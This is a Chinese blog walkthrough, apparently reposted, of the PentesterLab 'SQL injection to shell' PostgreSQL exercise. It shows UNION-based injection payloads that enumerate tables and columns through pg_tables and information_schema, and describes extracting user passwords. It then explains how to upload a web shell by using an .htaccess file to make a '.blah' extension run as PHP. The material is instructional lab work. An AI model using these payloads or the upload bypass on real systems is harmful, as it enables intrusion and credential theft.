from injection shell sql to_FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

FROM SQL INJECTION TO SHELL:

POSTGRESQL EDITION

这里先介绍一下POSTGRESQL。这是一款数据库管理系统,与oracle是同类型软件。08年左右的市场占有率为8%。

cecc603150bf4be1f63c894ade47477e.png

上图为ITPUB社区开源数据库使用状况调查

探测SQL注入

本关可以说是FROM SQL INJECTION TO SHELL 这关的延续。建议先通过之前的关。

这关基本上和FROM SQL INJECTION TO SHELL是类似的。共同的部分就不再介绍了。

这关的错误代码发生了变化

b427ef3eb596922b19f2dcfc750acd8b.png

利用SQL注入

攻击方法还是用UNION和ORDER BY两种

SELECT id,name,price FROM

articles where id=1 UNION SELECT 1

SELECT id,name,price FROM

articles where id=1 UNION SELECT1,2

SELECT id,name,price FROM

articles where id=1 UNION SELECT 1,2,3

这里三种情况都有报错,但第三种情况报的错会不同。报错提示是数据类型不匹配。

5ee0fa0936d493eb29d6daf541be8751.png

再试试ORDER BY。这里很容易试出字段数量。超出查询字段数量,提示如下

ea1463a7b79282e41e7b89323b424c01.png

检索信息

从上一步的UNION我们看到提示是数据类型不匹配,把数字改变成null试下。

1 UNION SELECT

‘aaaa‘,null,null,null

结果没有报错

我们再尝试下面几种情况

1 UNION SELECT ‘aaaa‘,null,null,null

1 UNION SELECT null,‘aaaa‘,null,null

1 union select

null,null,‘aaaa‘,null

1 union select

null,null,null,‘aaaa‘

发现第2和3

个没有报错,第1,4报数据类型不匹配。如果查看网页的HTML,会发现‘aaaa‘存在于

1ac9ab300c17063241aaa450935057ec.png

我们采用第2个进行构建语句,查询version(),current_user,current_database()

我注意到这里的函数与上一关的略有点不同,上一关的是version(),current_user(),current_database()

这是因为上一关的数据库是MYSQL。

接下来,我们尝试获取当前数据库的表名和字段。方法和MYSQL的类似。POSTGRESQL也有一个meta-information数据库,我们可以构建语句查询

查询表名:SELECT tablename FROM pg_tables

查询所有字段:

SELECT column_name FROM

information_schema.columns

结合到实例中:

1 UNION SELECT

null,tablename,null,null FROM pg_tables

1 UNION SELECT

null,column_name,null,null FROM information_schema.columns

同时取得字段和对应的表名

1 UNION SELECT null,

table_name, column_name,null,null FROM information_schema.columns

1 UNION SELECT

null,table_name||‘:‘|| column_name,null,null FROM information_schema.columns.

上一关是用contact函数,而这个数据库不能用。

从结果中找到用户表USERS和它的字段

33ddc57440566380df8f60f8be7da647.png

查出密码再解密还原。

登陆账号,注入文件

这里开始是本关的难点。

上一关用.php3就混过关, 这次又被过滤了。经尝试,只要带php的,统统被过滤。

这次要引入 .htaccess文件

这个文件很多妙用,它与windows的autorun.inf有点类似。请查看百度百科

htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法,

即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,

以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

.htaccess文件的内容如下,意思是增加一种php模块执行的后缀。blah后缀不太可能被过滤掉。

da0400e6d4c1c553bf64d18d2b679324.png

特别注意下".htaccess"不是后缀,在windows图形界面下是难重命名成这个名字,需要DOS下改。

23cde8805f42be7f993fd585234a1744.png

再把shell.php3更名为shell.blah,上传这两个到服务器。神奇的事就发生了。

3dc4c10a4a5aadc6caab9348bf865186.png

原文:http://www.cnblogs.com/pentesterlab-beginner/p/3644398.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值